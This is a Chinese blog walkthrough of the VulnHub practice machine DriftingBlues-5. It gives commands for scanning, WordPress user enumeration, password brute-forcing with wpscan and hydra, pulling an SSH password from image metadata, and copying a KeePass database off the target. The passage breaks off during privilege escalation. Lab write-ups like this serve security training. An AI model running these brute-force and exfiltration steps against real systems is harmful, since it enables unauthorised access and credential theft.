vulnhub靶机：driftingblues-5

不言君

已于 2024-03-20 22:18:29 修改

阅读量1.6k

点赞数 34

文章标签： linux

于 2024-03-20 21:53:29 首次发布

本文链接：https://blog.csdn.net/waitagirl/article/details/136889927

版权

一：主机发现

arp-scan -I eth0 10.9.23.0/24

二：端口扫描

nmap -T4 -sV -p- -A 10.9.23.228

三：端口探测

可以看出是 wordpress 系统。那登录界面就是 wp-admin

四：渗透测试

1：工具利用

用wpscan扫一下

WPScan是Kali Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能。

该扫描器可以实现获取Wordpress站点用户名，获取安装的所有插件、主题，以及存在的插件、主题，并提供漏洞信息。同时还可以对未加防护的Wordpress站点暴力破解用户名密码。

WordPress是全球流行的博客网站，全球有上百万人使用它来搭建博客。他使用PHP脚本和Mysql数据库来搭建网站

wpscan --url http://10.9.23.228 -e u

发现几个用户名，但是没有密码，先写入用户字典中

abuzerkomurcu

gill

gadd

collins

satanic

用 cewl 爬取一下试试：

cewl -m 6 -w pass.txt http://10.9.23.228

Cewl是一个用于生成自定义字典的工具，它可以从网页、文本文件和其他来源中提取单词，并根据用户指定的参数生成字典。这个工具通常用于渗透测试和密码破解中，帮助安全专家评估系统的弱点并加强密码策略。Cewl可以帮助用户生成具有特定主题或特征的字典，从而提高密码破解的成功率。

-w：指定生成的字典文件的名称
-d：指定要抓取的深度，即抓取网页的层数
-m：指定最小单词长度
-l：指定要抓取的最大单词长度
-f：指定要抓取的URL或文件
-i：忽略大小写
-k：保留关键字
-s：忽略JavaScript
-r：忽略重复单词
-e：指定要排除的单词
-x：指定要排除的正则表达式模式

wpscan 爆破一下：

wpscan --url http://10.9.23.228 -U user.txt -P pass.txt

得到一组用户名和密码

Username: gill, Password: interchangeable

尝试登录

2：获取shell

下载到本地看看有没有隐藏信息

wget http://10.9.23.228/wp-content/uploads/2021/02/dblogo.png

查看下该文件的属性信息：exiftool dblogo.png

发现ssh的登录密码

59583hello

用hydra爆破一下用户名

hydra ssh://10.9.23.228 -L user.txt -p 59583hello

得到用户名

gill

开始登录ssh

ssh gill@10.9.23.228

得到第一个flag

五：提权

find / -perm -4000 -type f 2>/dev/null

没有具有特殊权限的文件

在获得shell中查看目录信息时，发现存在一个keyfile.kdbx文件，查询下kdbx后缀的文件介绍，发现该文件是：通过KeePass密码管理器安全创建的数据文件称为KDBX文件，这些文件包含密码的加密数据库，其中如果用户设置一个主密码，并通过主密码访问他们，他们只能查看。先将该文件下载到本地，命令：

scp -rp gill@10.9.23.228:/home/gill/keyfile.kdbx /root

SCP（Secure Copy Protocol）是一种安全的文件传输协议，用于在远程计算机之间安全地传输文件。SCP命令用于在本地计算机和远程计算机之间复制文件或目录。